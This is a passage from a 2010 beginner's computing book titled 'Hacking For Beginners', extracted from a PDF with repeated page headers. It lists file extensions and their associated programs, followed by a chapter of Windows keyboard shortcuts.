  3504. .DRW Micrografx draw/graph files.
  3505. .DT_ Macintosh Data File Fork
  3506. .DTA Data file
  3507. .DTD SGML Document definition file
  3508. .DTF Q&A database
  3509. .DTM DigiRekker module
  3510. .DTP SecurDesk! Desktop / Timeworks Publisher Text Document / Pressworks Template file
  3511. .DUN Dialup Networking exported file.
  3512. .DX Document Imaging file / Digital data exchange file
  3513. .DXB Drawing interchange binary file
  3514. .DXF Autocad drawing interchange format file
  3515. .DXN Fujitsu dexNet fax document
  3516. .DXR Macromedia director projected movie file
  3517. Hacking For Beginners – Manthan Desai 2010
  3518. w w w . h a c k i n g t e c h . c o . t v
  3519. Page 167
  3520. .DYN Lotus 1-2-3 file
  3521. .DWG AutoCad Drawing Database
  3522. E
  3523. .EEB Button bar for Equation Editor in Word Perfect for Windows
  3524. .EFT CHIWRITER high resolution screen characters
  3525. .EGA EGA screen characters for Ventura Publisher
  3526. .ELG Event List text file used with Prosa
  3527. .EMS Enhanced Menu System configuration file for PC Tools
  3528. .EMU IRMA Workstation for Windows emulation
  3529. .ENC ADW Knowledge Ware Encyclopedia
  3530. .END Corel Draw Arrow Definition file
  3531. .ENG Sprint dictionary file engine
  3532. .ENV Word Perfect for Windows environment file.
  3533. .EPG Exported PaGe file used with DynaVox
  3534. .EPS Encapsulated Postscript, with embedded TIFF preview images.
  3535. .EQN Word Perfect for Windows Equation file
  3536. .ERD Entity Relation Diagram graphic file
  3537. .ERM Entity Relation Diagram model file
  3538. .ERR Error log file
  3539. .ESH Extended Shell Batch file
  3540. .EVT Event file scheduler file for PC Tools
  3541. .EX3 Device driver for Harvard graphics 3.0
  3542. .EXC QEMM exclude file from optimization file or Rexx program file
  3543. .EXE Executable file.
  3544. .EXT Extension file for Norton Commander
  3545. F
  3546. .FDF Adobe Acrobat Forms Document.
  3547. Hacking For Beginners – Manthan Desai 2010
  3548. w w w . h a c k i n g t e c h . c o . t v
  3549. Page 168
  3550. .FF AGFA CompuGraphics outline font description.
  3551. .FFA Microsoft Fast Find file.
  3552. .FFF GUS PnP bank / defFax fax document
  3553. .FFL Microsoft Fast Find file / PrintMaster Gold form file
  3554. .FFO Microsoft Fast Find file
  3555. .FFT DCA/FFT final form text
  3556. .FFX Microsoft Fast Find file
  3557. .FON Font files to support display and output devices.
  3558. .FR3 dBase IV renamed dBase III+ form
  3559. .FRF FontMonger Font
  3560. .FRG dBase IV uncompiled report
  3561. .FRK Compressed zip file used with Apple Macinotsh computers.
  3562. .FRM Form file used with various programs / Microsoft Visual Basic Form / FrameMaker document / FrameBuilder file /
  3563. Oracle executable form / Word Perfect Merge form / DataCAD symbol report file
  3564. .FRO dBase IV compiled report / FormFlow file
  3565. .FRP PerForm Pro Plus Form
  3566. .FRS WordPerfect graphics driver
  3567. .FRT FoxPro report file
  3568. .FRX Microsoft Visual basic binary form file / FoxPro report file
  3569. .FRZ FormFlow file
  3570. G
  3571. .GIF CompuServe Graphics Interchange Format.
  3572. .GR2 286 grabbers that specify which font to use with DOS and Windows.
  3573. .GR3 386 grabbers that specify which font to use with DOS and Windows.
  3574. .GRA Microsoft Flight simulator graphics file
  3575. .GRB Microsoft MS-DOS shell monitor
  3576. .GRF Micrografx draw/graph files.
  3577. .GRP Microsoft Program Group.
  3578. Hacking For Beginners – Manthan Desai 2010
  3579. w w w . h a c k i n g t e c h . c o . t v
  3580. Page 169
  3581. .GZ Compressed Archive file for GZip
  3582. H
  3583. .HBK Mathcad handbook file
  3584. .HDL Procomm Plus alternate download file listing
  3585. .HDR Procomm Plus message header
  3586. .HDX Help index
  3587. .HEX Hex dump
  3588. .HFI GEM HP font info
  3589. .HGL HP graphics language graphic
  3590. .HH C++ Header
  3591. .HHH Precompiled Header for Power C
  3592. .HHP Help data for Procomm Plus
  3593. .HLP Files that contain the Help feature used in windows, cannot be read from DOS.
  3594. .HQX Apple Macintosh Binhex text conversion file.
  3595. .HSQ Data files associated with the Qaz Trojan.
  3596. .HSS Photoshop Hue/Saturation information.
  3597. .HST History file / Procomm Plus History File / Host file.
  3598. .HTA Hypertext Application (run applications from HTML document).
  3599. .HTM Web page files containing HTML or other information found on the Internet.
  3600. I
  3601. .ICA Citrix file / IOCA graphics file
  3602. .ICB Targa Bitmap
  3603. .ICC Kodak printer image
  3604. .ICE Archive file
  3605. .ICL Icon library file
  3606. .ICM Image Color Matching profile file
  3607. .ICN Microsoft Windows Icon Manager.
  3608. Hacking For Beginners – Manthan Desai 2010
  3609. w w w . h a c k i n g t e c h . c o . t v
  3610. Page 170
  3611. .ICO Microsoft Windows Icondraw / Icon.
  3612. .ID Disk identification file.
  3613. .IDB Microsoft developer intermediate file, used with Microsoft Visual Studio
  3614. .IDD MIDI instruments definition
  3615. .IDE Integrated Development Environment configuration file
  3616. .IDF MIDI instruments drivers file
  3617. .IDQ Internet data query file
  3618. .IDX Index file
  3619. .IFF IFF/LBM (Amiga) used by Computer Eyes frame grabber.
  3620. .IMG GEM/IMG (Digital Research) or Ventura Publisher bitmap graphic
  3621. .INF Information file that contains customization options.
  3622. .INI Files that initialize Windows and Windows apps.
  3623. .IPF Installer Script File / OS/2 online documentation for Microsoft source files.
  3624. .ISO Compressed file used for an exact duplicate of a CD. .ISO files can be extracted or opened such programs as Win
  3625. Image that can be found on our shareware download section.
  3626. .IWA IBM Writing Assistant Text file.
  3627. J
  3628. .JAS Graphic
  3629. .JPG Graphic commonly used on the Internet and capable of being opened by most modern image editors.
  3630. .JS JavaScript file.
  3631. .JSB Henter-Joyce Jaws script binary file
  3632. .JSD eFAX jet suite document
  3633. .JSE JScript encoded script file
  3634. .JSH Henter-Joyce Jaws script header file
  3635. .JSL PaintShop pro file
  3636. .JSM Henter-Joyce Jaws script message file
  3637. .JSP Java server page
  3638. .JSS Henter-Joyce Jaws script source file
  3639. Hacking For Beginners – Manthan Desai 2010
  3640. w w w . h a c k i n g t e c h . c o . t v
  3641. Page 171
  3642. .JT JT fax file
  3643. .JTF JPEG tagged Interchange format file
  3644. .JTK Sun Java toolkit file
  3645. .JTP JetForm file
  3646. .JW Justwrite text file
  3647. .JWL Justwrite text file library
  3648. .JZZ Jazz spreadsheet
  3649. K
  3650. .KAR Karaoke File used with some audio players.
  3651. L
  3652. .LGC Program Use Log File (for Windows Program Use Optimization).
  3653. .LGO Contains the code for displaying the screen logo.
  3654. .LOG Contains the process of certain steps, such as when running scandisk it will usually keep a scandisk.log of what
  3655. occurred.
  3656. .LNK HTML link file used with Microsoft Internet Explorer.
  3657. .LWP Lotus Wordpro 96/97 file.
  3658. M
  3659. .MAC Macintosh macpaint files.
  3660. .MBX Microsoft Outlook Express mailbox file.
  3661. .MD Compressed Archive file
  3662. .MDA Microsoft Access Add-in / Microsoft Access 2 Workgroup.
  3663. .MDB Microsoft Access Database / Microsoft Access Application.
  3664. .MDE Microsoft Access Database File
  3665. .MDF Menu definition file
  3666. .MDL Digitrakker Music Module / Rational Rose / Quake model file
  3667. .MDM Telix Modem Definition
  3668. .MDN Microsoft Access Blank Database Template
  3669. Hacking For Beginners – Manthan Desai 2010
  3670. w w w . h a c k i n g t e c h . c o . t v
  3671. Page 172
  3672. .MDP Microsoft Developer Studio Project
  3673. .MDT Microsoft Access Add-in Data
  3674. .MDW Microsoft Access Workgroup Information
  3675. .MDX dBase IV Multiple Index
  3676. .MDZ Microsoft Access Wizard Template
  3677. .MEB WordPerfect Macro Editor bottom overflow file
  3678. .MED WordPerfect Macro Editor delete save / OctaMed tracker module
  3679. .MEM WordPerfect Macro Editor macro / Memory File of variables
  3680. .MID Midi orchestra files that are used to play with midi sounds built within the sound card.
  3681. .MIX Power C object file / Multiplayer Picture file (Microsoft Photodraw 2000 & Microsoft Picture It!) / Command &
  3682. Conquer Movie/Sound file
  3683. .MOD Winoldap files that support (with grabbers) data exchange between DOS apps and Windows apps.
  3684. .MOV File used with Quick Time to display a move.
  3685. .MP1 MPEG audio stream, layer I
  3686. .MP2 MPEG audio stream, layer II
  3687. .MP3 MPEG audio stream, layer III; High compressed audio files generally used to record audio tracks and store them in
  3688. a decent sized file available for playback. See our MP3 page for additional information.
  3689. .MPG MPEG movie file.
  3690. .MSN Microsoft Network document / Decent mission file
  3691. .MTF Windows metafile.
  3692. .MTH Derive Math file
  3693. .MTM Sound file / MultiTracker music module
  3694. .MTV Picture file
  3695. .MTW Minitab data file
  3696. .MU Quattro menu
  3697. .MUL Ultima Online game
  3698. .MUP Music publisher file
  3699. .MUS Audio file
  3700. .MVB Database file / Microsoft multimedia viewer file
  3701. Hacking For Beginners – Manthan Desai 2010
  3702. w w w . h a c k i n g t e c h . c o . t v
  3703. Page 173
  3704. .MVE Interplay video file
  3705. .MVF Movie stop frame file
  3706. .MWP Lotus Wordpro 97 smartmaster file
  3707. .MXD ArcInfo map file
  3708. .MXT Microsoft C Datafile
  3709. .MYD Make your point presentation file.
  3710. N
  3711. .N64 Nintendo 64 Emulator ROM image.
  3712. .NA2 Netscape Communicator address book.
  3713. .NAB Novell Groupwise address book
  3714. .NAP Napster Music security definition file.
  3715. .NDF NeoPlanet Browser file
  3716. .NDX Indexed file for most databases.
  3717. .NES Nintendo Entertainment system ROM image.
  3718. .NIL Norton guide online documentation
  3719. .NGF Enterasys Networks NetSight file.
  3720. .NHF Nero HFS-CD compilation or a general Nero file
  3721. .NIL Norton icon lybrary file.
  3722. .NLB Oracle 7 data file
  3723. .NLD ATI Radeon video driver file,
  3724. .NMI SwordSearcher file.
  3725. .NON LucasArts Star Wars - Tie fighter mouse options file.
  3726. .NOW Extension commonly used for readme text files.
  3727. .NRA Nero Audio CD file.
  3728. .NRB Nero CD-ROM boot file.
  3729. .NS2 Lotus Notes 2 database,
  3730. .NS5 Lotus Notes Domino file,
  3731. .NSO NetStudio easy web graphics file.
  3732. Hacking For Beginners – Manthan Desai 2010
  3733. w w w . h a c k i n g t e c h . c o . t v
  3734. Page 174
  3735. .NT Windows NT startup file.
  3736. .NUM File used with some Software Manufactures to store technical support numbers or other phone numbers, should
  3737. be readable from DOS and or Windows.
  3738. O
  3739. .OCA Control Typelib Cache.
  3740. .OCX Object Linking and Embedding (OLE) control extension.
  3741. .OLB Object library
  3742. .OLD Used for backups of important files incase they are improperly updated or deleted.
  3743. .OLE Object Linking and Embedding object file
  3744. .OLI Olivetti text file
  3745. .ORI Original file.
  3746. P
  3747. .PAB Personal Address Book, file used with Microsoft Outlook.
  3748. .PB WinFax Pro phone book file
  3749. .PBD PowerBuilder dynamic library / Faxit phone book file
  3750. .PBF Turtle Beach Pinnacle bank file
  3751. .PBK Microsoft phonebook file
  3752. .PBL PowerBuilder library file
  3753. .PBM UNIX portable bitmap fuke
  3754. .PBR PowerBuilder resource
  3755. .PBI Profiler binary input file
  3756. .PBM PBM portable bit map graphic
  3757. .PBO Profiler binary output
  3758. .PBT Profiler binary table
  3759. .PCX Microsoft Paint & PC Paintbrush Windows/DOS.
  3760. .PDA Bitmap graphic file
  3761. .PDB TACT data file
  3762. .PDD Adobe PhotoDeluxe Image.
  3763. Hacking For Beginners – Manthan Desai 2010
  3764. w w w . h a c k i n g t e c h . c o . t v
  3765. Page 175
  3766. .PDF Adobe Acrobat Reader file which can only be read by Adobe Acrobat (to get file downloaded Adobe Acrobat from
  3767. our Download Page.
  3768. .PDL Borland C++ project description language file.
  3769. .PDS Graphic file / Pldasm source code file.
  3770. .PDV Paintbrush printer driver.
  3771. .PDW Professional Draw document.
  3772. .PIC Picture / Viewer Frame Class.
  3773. .PIF Program Information File that configures a DOS app to run efficiently in windows.
  3774. .PJF Paintjet soft font file.
  3775. .PL Harvard palette file / PERL program file
  3776. .PL3 Harvard chart palette
  3777. .PLB Foxpro library / LogoShow Screensaver file
  3778. .PLC Lotus Add-in
  3779. .PLD PLD2 source file
  3780. .PLG REND386 / AVRIL file
  3781. .PLI Oracle 7 data description
  3782. .PLL Prelinked library
  3783. .PLM DisorderTracker2 module
  3784. .PLN WordPerfect spreadsheet file
  3785. .PLR Descent Pilot file
  3786. .PLS WinAmp MPEG playlist file / DisorderTracker 2 Sample file / Shoutcast file / MYOB data file
  3787. .PLT AutoCAD HPGL vector graphic plotter file / Gerber sign-making software file / Betley's CAD Microstation driver
  3788. configuration for plotting
  3789. .PLY Autodesk polygon
  3790. .PP Compressed archive file.
  3791. .PP4 Picture Publisher.
  3792. .PP5 Picture Publisher.
  3793. .PPA Power Point Add-in.
  3794. .PPB WordPerfect Print preview button bar.
  3795. Hacking For Beginners – Manthan Desai 2010
  3796. w w w . h a c k i n g t e c h . c o . t v
  3797. Page 176
  3798. .PPD PostScript Printer description.
  3799. .PPF Turtle Beach Pinnacle program file.
  3800. .PPI Microsoft PowerPoint graphic file.
  3801. .PPL Harvard (now Serif) Polaroid Palette Plus ColorKey Driver.
  3802. .PPM PBM Portable Pixelmap Graphic.
  3803. .PPO Clipper Preprocessor Output.
  3804. .PPP Serif PagePlus Publication.
  3805. .PPS Microsoft PowerPoint Slideshow.
  3806. .PPT Microsoft PowerPoint presentation.
  3807. .PPX Serif PagePlus publication.
  3808. .PPZ Microsoft PowerPoint Packaged Presentation.
  3809. .PS2 File to support the Micro Channel Architecture in 386 Enhanced mode.
  3810. .PSD Adobe Photoshop image file.
  3811. .PST Post Office Box file used with Microsoft Outlook usually mailbox.pst unless named otherwise.
  3812. .PWA Password agent file.
  3813. .PWD Password file.
  3814. .PWF ProCite Workforms
  3815. .PWL Password file used in Windows 95 and Windows 98 is stored in the Windows directory.
  3816. .PWP Photoworks image file
  3817. .PWZ PowerPoint wizard
  3818. Q
  3819. .QIC Windows backup file
  3820. .QT Quick Time Movie File
  3821. .QXD Quark Express file
  3822. .QXL Quark Xpress element library
  3823. .QXT Quark Xpress template file
  3824. Hacking For Beginners – Manthan Desai 2010
  3825. w w w . h a c k i n g t e c h . c o . t v
  3826. Page 177
  3827. R
  3828. .RA Real Audio file.
  3829. .RAM Real Audio file.
  3830. .RAR Compressed file similar to .ZIP uses different compression program to extract. See our recommended download
  3831. page for a program that can be used to extract .RAR files.
  3832. .RAS File extension used for raster graphic files.
  3833. .RD1 Descent registered level file
  3834. .RD3 Ray Dream designer graphics file / CorelDraw 3D file
  3835. .RD4 Ray Dream designer graphics file
  3836. .RD5 Ray Dream designer graphics file
  3837. .RDB TrueVector rules database
  3838. .RDF Resource description framework file / Chromeleon report definition
  3839. .RDL Descent registered level file / RadioDestiny radio stream
  3840. .RDX Reflex data file
  3841. .REC Sound file used with Windows Sound Recorder.
  3842. .RLE Microsoft Windows Run Length Encoded (Run Length Encoded (bitmap format) file that contains the actual screen
  3843. logo).
  3844. .RMI Microsoft RMID sound file.
  3845. .RPB Automotive diagnostic file.
  3846. .RPD Rapidfile database
  3847. .RPM Red Hat Package Manager / RealMedia Player file.
  3848. .RPT Various Report file
  3849. .RTF Rich Text Format file
  3850. .RWZ Microsoft Outlook rules wizard file
  3851. S
  3852. .SAV File that usually contains saved information such as a saved game.
  3853. .SC2 Maps used in Sim City 2000.
  3854. .SCP Dialup Networking script file.
  3855. Hacking For Beginners – Manthan Desai 2010
  3856. w w w . h a c k i n g t e c h . c o . t v
  3857. Page 178
  3858. .SCR Source files for the .INI files, or sometimes may be used as screen savers.
  3859. .SD Sound Designer I audio file
  3860. .SD2 Sound Designer II flattened file / Sound Designer II data fork file / SAS database file
  3861. .SDA StarOffice drawing file / SoftCuisine data archive
  3862. .SDC StarOffice spreadsheet
  3863. .SDD StarOffice presentation
  3864. .SDF Standard data format file / Schedule data file / System file format / Autodesk mapguide spatial data file
  3865. .SDK Roland S-series floppy disk image
  3866. .SDL SmartDraw library
  3867. .SDN Small archive
  3868. .SDR SmartDraw drawing
  3869. .SDS StarOffice chart file / Raw MIDI sample dump standard file
  3870. .SDT SmartDraw template
  3871. .SDV Semicolon divided value file
  3872. .SDW Sun Microsystems StarOffice file document file similar to the Microsoft Office .DOC file.
  3873. .SDX MIDI sample dump standard files compacted by SDX
  3874. .SEA Short for Self Extracting Archive. Compressed file used with the Macintosh.
  3875. .SH Archive file
  3876. .SH3 Harvard (now Serif) presentation file
  3877. .SHB Corel Background file
  3878. .SHG Hotspot Editor Hypergraphic
  3879. .SHK Macintosh Compressed Archive file
  3880. .SHM WordPerfect Shell Macro
  3881. .SHP 3D Studio Shapes File / other 3D related file
  3882. .SHR Archive file
  3883. .SHS Shell scrap object file
  3884. .SHW Corel presentation / WordPerfect Slide Show / Show File
  3885. .SLK Multiplan file.
  3886. Hacking For Beginners – Manthan Desai 2010
  3887. w w w . h a c k i n g t e c h . c o . t v
  3888. Page 179
  3889. .SND Sound Clip file / Raw unsigned PCM data / AKAI MPC-series sample / NeXT sound / Macintosh sound resource file
  3890. .SNG MIDI song
  3891. .SNM Netscape Mail
  3892. .SNO SNOBOL program file
  3893. .SNP Snapview snapshot file
  3894. .SUM Summary file.
  3895. .SWF Macromedia Flash file.
  3896. .SWP Extension used for the Windows Swap File usually Win386.Swp. This file is required by Windows and generally
  3897. can grow very large in size sometimes up to several hundred megs. This file is used to swap information between
  3898. currently running programs and or memory. If this file is deleted from the computer Windows will be unable to load
  3899. and will need to be reinstalled.
  3900. .SYS System and peripheral drivers.
  3901. T
  3902. .TDF Trace Definition File used with OS/2
  3903. .TGA Targa file
  3904. .TIF Tag Image Format that includes most 24-bit color.
  3905. .TLB Remote automation truelib files / OLE type library / Visual C++ type library
  3906. .TLD Tellix file
  3907. .TLE NASA two-line element set
  3908. .TLP Microsoft project timeline fie
  3909. .TLT Trellix web design file
  3910. .TLX Trellix data file
  3911. .TMP Temporary files.
  3912. .TRM Windows Terminal.
  3913. .TXT Text file that can be read from windows of from DOS by using the Edit, Type, or Edlin.
  3914. U
  3915. .UNI MikMod (UniMod) format file / Forcast Pro data file
  3916. .UNK Unknown file type, sometimes used when a file is received that cannot be identified
  3917. .UNX Text file generally associated with UNIX.
  3918. Hacking For Beginners – Manthan Desai 2010
  3919. w w w . h a c k i n g t e c h . c o . t v
  3920. Page 180
  3921. .URL File used with some browsers such as Internet Explorer linking you to different web pages. Internet Shortcut.
  3922. V
  3923. .VB VBScript file
  3924. .VBA vBase file
  3925. .VBD ActiveX file
  3926. .VBE VBScript encoded script file
  3927. .VBG Visual Basic group project file
  3928. .VBK VisualCADD backup file
  3929. .VBL User license control file
  3930. .VBP Visual Basic project file
  3931. .VBR Remote automation registration files
  3932. .VBS Microsoft Visual Basic Script file for quick programs and in some cases can be used as a virus file.
  3933. .VBW Visual Basic project workplace
  3934. .VBX Visual Basic extension file
  3935. .VBZ Wizard launch file
  3936. .VC VisiCalc Spreadsheet file.
  3937. .VCD VisualCADD Drawing file.
  3938. .VCE Natural MicroSystems voice file.
  3939. .VCF vCard File / Vevi Configuration file.
  3940. .VCS Microsoft Outlook vCalander file.
  3941. .VCT FoxPro class library.
  3942. .VCW Microsoft Visual C++ workbench information file.
  3943. .VCX FoxPro class library.
  3944. .VDA Targa bitmap
  3945. .VDD Short for Virtual Device Driver. Additional information can be found here.
  3946. .VDO VDOScript file
  3947. .VDX No such file extension - Likely you meant to .vxd
  3948. .VM Virtual Machine / Virtual Memory file.
  3949. Hacking For Beginners – Manthan Desai 2010
  3950. w w w . h a c k i n g t e c h . c o . t v
  3951. Page 181
  3952. .VMM Virtual Machine (Memory Manager) file.
  3953. .VMF Ventura font characteristics file / FaxWorks audio file
  3954. .VMH
  3955. .VS2 Roland-Bass transfer file.
  3956. .VSD Visio drawing.
  3957. .VSL GetRight download list file.
  3958. .VSS Visio stencil.
  3959. .VST Video Template / Truevision Vista graphic / Targa Bitmap/
  3960. .VSW Visio workspace file.
  3961. .VXD Windows system driver file allowing a driver direct access to the Windows Kernel, allowing for low level access to
  3962. hardware.
  3963. W
  3964. .WAB Microsoft Outlook Express personal address book.
  3965. .WAD File first found in IdSoftware games such as DOOM, Quake, as well as most new games similar to these.
  3966. .WAV Sound files in Windows open and played with sound recorder.
  3967. .WB1 Quattro Pro Notebook
  3968. .WB2 Quattro Pro Spreadsheet
  3969. .WBF Microsoft Windows Batch File
  3970. .WBK Wordperfect document / workbook
  3971. .WBT Winbatch batch file
  3972. .WCD Wordperfect macro token list
  3973. .WCM Microsoft Works data transmission file / Wordperfect Macro
  3974. .WCP Wordperfect product information description
  3975. .WDB Microsoft Works database
  3976. .WEB Web source code file
  3977. .WFM dBASE Form object
  3978. .WFN CorelDRAW font
  3979. .WFX Winfax data file
  3980. Hacking For Beginners – Manthan Desai 2010
  3981. w w w . h a c k i n g t e c h . c o . t v
  3982. Page 182
  3983. .WG1 Lotus 1-2-3 worksheet
  3984. .WG2 Lotus 1-2-3 for OS/2 worksheet
  3985. .WID Ventura publisher width table
  3986. .WIN Foxpro - dBASE window file
  3987. .WIZ Microsoft Publisher page wizard
  3988. .WK1 Lotus 1-2-3 all versions / LotusWorks spreadsheet.
  3989. .WK3 Lotus 1-2-3 for Windows /Lotus 1-2-3 Rel.3.
  3990. .WKS Lotus 1-2-3 Rel lA,2.0,2.01, also file used with Microsoft Works.
  3991. .WLG Dr. Watson log file.
  3992. .WMA Windows Media Audio file.
  3993. .WMF Windows Metafile. Also see WMF dictionary definition.
  3994. .WMZ Windows Media Player theme package file.
  3995. .WPD WordPerfect Windows/DOS.
  3996. .WPG WordPerfect Graphical files Windows/DOS.
  3997. .WPM WordPerfect Macro file.
  3998. .WPS MS Works word processor Windows/DOS.
  3999. .WRI Windows Write.
  4000. .WRK Lotus 1-2 31.0,1.01,1.1/ Symphony 1,1.01.
  4001. .WRI Symphony l.1,1.2,2 / Microsoft Write file.
  4002. X
  4003. .XIF Wang image file / Xerox image file
  4004. .XLB Microsoft Excel File.
  4005. .XLS Microsoft Excel File.
  4006. .XM Sound file / Fast tracker 2 extended module
  4007. .XML Extensible markup language file.
  4008. .XNK Exchange shortcut
  4009. .XOT Xnetech job output file
  4010. .XPM X picsmap graphic
  4011. Hacking For Beginners – Manthan Desai 2010
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  4013. Page 183
  4014. .XQT SuperCalc macro sheet
  4015. .XRF Cross Reference
  4016. .XR1 Epic MegaGames Xargon File
  4017. .XSL XML Style sheet
  4018. .XSM LEXIS-NEXIS tracker
  4019. .XTB LocoScript external translation table
  4020. .XWD X Windows dump file
  4021. .XWF Yamaha XG Works file
  4022. .XXE Xxencoded file
  4023. .XY XYWrite text file
  4024. .XY3 XYWrite text file
  4025. .XY4 XYwrite IV document
  4026. .XYP XYwrite III plus document
  4027. .XYW XYwrite Windows 4.0 document
  4028. Y
  4029. .Y Amiga YABBA compressed file archive
  4030. .Y01 Paradox index file
  4031. .Y02 Paradox index file
  4032. .Y03 Paradox index file
  4033. .Y04 Paradox index file
  4034. .Y05 Paradox index file
  4035. .Y06 Paradox index file
  4036. .Y07 Paradox index file
  4037. .Y08 Paradox index file
  4038. .Y09 Paradox index file
  4039. .YUV Yuv graphics file
  4040. .YZ YAC compressed file archive.
  4041. Hacking For Beginners – Manthan Desai 2010
  4042. w w w . h a c k i n g t e c h . c o . t v
  4043. Page 184
  4044. Z
  4045. .Z Compressed file that can hold thousands of files. To extract all the files Pkzip or Winzip will need to be used. UNIX /
  4046. Linux users use the compress / uncompress command to extract these files.
  4047. .ZIP Compressed file that can hold thousands of files. To extract all the files Pkzip or Winzip will need to be used.
  4048. “The List of file extension in the list may differ as the company may have updated the extension
  4049. so don’t consider this list as final list but this will give you sufficient knowledge”.
  4050. Hacking For Beginners – Manthan Desai 2010
  4051. w w w . h a c k i n g t e c h . c o . t v
  4052. Page 185
  4053. 32. Nice List of Windows Shortcuts
  4054. For Real Windows Newbie's here you go...
  4055. CTRL+C (Copy)
  4056. CTRL+X (Cut)
  4057. CTRL+V (Paste)
  4058. CTRL+Z (Undo)
  4059. DELETE (Delete)
  4060. SHIFT+DELETE (Delete the selected item permanently without placing the item in the Recycle Bin)
  4061. CTRL while dragging an item (Copy the selected item)
  4062. CTRL+SHIFT while dragging an item (Create a shortcut to the selected item)
  4063. F2 key (Rename the selected item)
  4064. CTRL+RIGHT ARROW (Move the insertion point to the beginning of the next word)
  4065. CTRL+LEFT ARROW (Move the insertion point to the beginning of the previous word)
  4066. CTRL+DOWN ARROW (Move the insertion point to the beginning of the next paragraph)
  4067. CTRL+UP ARROW (Move the insertion point to the beginning of the previous paragraph)
  4068. CTRL+SHIFT with any of the arrow keys (Highlight a block of text)
  4069. SHIFT with any of the arrow keys (Select more than one item in a window or on the desktop or select text in a document)
  4070. CTRL+A (Select all)
  4071. F3 key (Search for a file or a folder)
  4072. ALT+ENTER (View the properties for the selected item)
  4073. ALT+F4 (Close the active item, or quit the active program)
  4074. ALT+ENTER (Display the properties of the selected object)
  4075. Hacking For Beginners – Manthan Desai 2010
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  4077. Page 186
  4078. ALT+SPACEBAR (Open the shortcut menu for the active window)
  4079. CTRL+F4 (Close the active document in programs that enable you to have multiple documents open Simultaneously)
  4080. ALT+TAB (Switch between the open items)
  4081. ALT+ESC (Cycle through items in the order that they had been opened)
  4082. F6 key (Cycle through the screen elements in a window or on the desktop)
  4083. F4 key (Display the Address bar list in My Computer or Windows Explorer)
  4084. SHIFT+F10 (Display the shortcut menu for the selected item)
  4085. ALT+SPACEBAR (Display the System menu for the active window)
  4086. CTRL+ESC (Display the Start menu)
  4087. ALT+Underlined letter in a menu name (Display the corresponding menu)
  4088. Underlined letter in a command name on an open menu (Perform the corresponding command)
  4089. F10 key (Activate the menu bar in the active program)
  4090. RIGHT ARROW (Open the next menu to the right, or open a submenu)
  4091. LEFT ARROW (Open the next menu to the left, or close a submenu)
  4092. F5 key (Update the active window)
  4093. BACKSPACE (View the folder one level up in My Computer or Windows Explorer)
  4094. ESC (Cancel the current task)
  4095. SHIFT when you insert a CD-ROM into the CD-ROM drive (Prevent the CD-ROM from automatically playing)
  4096. Dialog Box Keyboard Short-cuts
  4097. CTRL+TAB (Move forward through the tabs)
  4098. CTRL+SHIFT+TAB (Move backward through the tabs)
  4099. TAB (Move forward through the options)
  4100. SHIFT+TAB (Move backward through the options)
  4101. ALT+Underlined letter (Perform the corresponding command or select the corresponding option)
  4102. ENTER (Perform the command for the active option or button)
  4103. SPACE BAR (Select or clear the check box if the active option is a check box)
  4104. Arrow keys (Select a button if the active option is a group of option buttons)
  4105. F1 key (Display Help)
  4106. Hacking For Beginners – Manthan Desai 2010
  4107. w w w . h a c k i n g t e c h . c o . t v
  4108. Page 187
  4109. F4 key (Display the items in the active list)
  4110. BACKSPACE (Open a folder one level up if a folder is selected in the Save As or Open dialog box)
  4111. Microsoft Natural Keyboard Shortcuts
  4112. Windows Logo (Display or hide the Start menu)
  4113. Windows Logo+BREAK (Display the System Properties dialog box)
  4114. Windows Logo+D (Display the desktop)
  4115. Windows Logo+M (Minimize all of the windows)
  4116. Windows Logo+SHIFT+M (Restore the minimized windows)
  4117. Windows Logo+E (Open My Computer)
  4118. Windows Logo+F (Search for a file or a folder)
  4119. CTRL+Windows Logo+F (Search for computers)
  4120. Windows Logo+F1 (Display Windows Help)
  4121. Windows Logo+ L (Lock the keyboard)
  4122. Windows Logo+R (Open the Run dialog box)
  4123. Windows Logo+U (Open Utility Manager)
  4124. Accessibility Keyboard Shortcuts
  4125. Right SHIFT for eight seconds (Switch FilterKeys either on or off)
  4126. Left ALT+left SHIFT+PRINT SCREEN (Switch High Contrast either on or off)
  4127. Left ALT+left SHIFT+NUM LOCK (Switch the MouseKeys either on or off)
  4128. SHIFT five times (Switch the StickyKeys either on or off)
  4129. NUM LOCK for five seconds (Switch the ToggleKeys either on or off)
  4130. Windows Logo +U (Open Utility Manager)
  4131. Windows Explorer Keyboard Shortcuts
  4132. END (Display the bottom of the active window)
  4133. HOME (Display the top of the active window)
  4134. NUM LOCK+Asterisk sign (*) (Display all of the subfolders that are under the selected folder)
  4135. NUM LOCK+Plus sign (+) (Display the contents of the selected folder)
  4136. Hacking For Beginners – Manthan Desai 2010
  4137. w w w . h a c k i n g t e c h . c o . t v
  4138. Page 188
  4139. NUM LOCK+Minus sign (-) (Collapse the selected folder)
  4140. LEFT ARROW (Collapse the current selection if it is expanded, or select the parent folder)
  4141. RIGHT ARROW (Display the current selection if it is collapsed, or select the first subfolder)
  4142. Short-cut Keys for Character Map
  4143. After you double-click a character on the grid of characters, you can move through the grid by using the Keyboard shortcuts:
  4144. RIGHT ARROW (Move to the right or to the beginning of the next line)
  4145. LEFT ARROW (Move to the left or to the end of the previous line)
  4146. UP ARROW (Move up one row)
  4147. DOWN ARROW (Move down one row)
  4148. PAGE UP (Move up one screen at a time)
  4149. PAGE DOWN (Move down one screen at a time)
  4150. HOME (Move to the beginning of the line)
  4151. END (Move to the end of the line)
  4152. CTRL+HOME (Move to the first character)
  4153. CTRL+END (Move to the last character)
  4154. SPACEBAR (Switch between Enlarged and Normal mode when a character is selected)
  4155. Microsoft Management Console (MMC) Main Window Keyboard Shortcuts
  4156. CTRL+O (Open a saved console)
  4157. CTRL+N (Open a new console)
  4158. CTRL+S (Save the open console)
  4159. CTRL+M (Add or remove a console item)
  4160. CTRL+W (Open a new window)
  4161. F5 key (Update the content of all console windows)
  4162. ALT+SPACEBAR (Display the MMC window menu)
  4163. ALT+F4 (Close the console)
  4164. ALT+A (Display the Action menu)
  4165. ALT+V (Display the View menu)
  4166. ALT+F (Display the File menu)
  4167. Hacking For Beginners – Manthan Desai 2010
  4168. w w w . h a c k i n g t e c h . c o . t v
  4169. Page 189
  4170. ALT+O (Display the Favorites menu)
  4171. MMC Console Window Keyboard Shortcuts
  4172. CTRL+P (Print the current page or active pane)
  4173. ALT+Minus sign (-) (Display the window menu for the active console window)
  4174. SHIFT+F10 (Display the Action shortcut menu for the selected item)
  4175. F1 key (Open the Help topic, if any, for the selected item)
  4176. F5 key (Update the content of all console windows)
  4177. CTRL+F10 (Maximize the active console window)
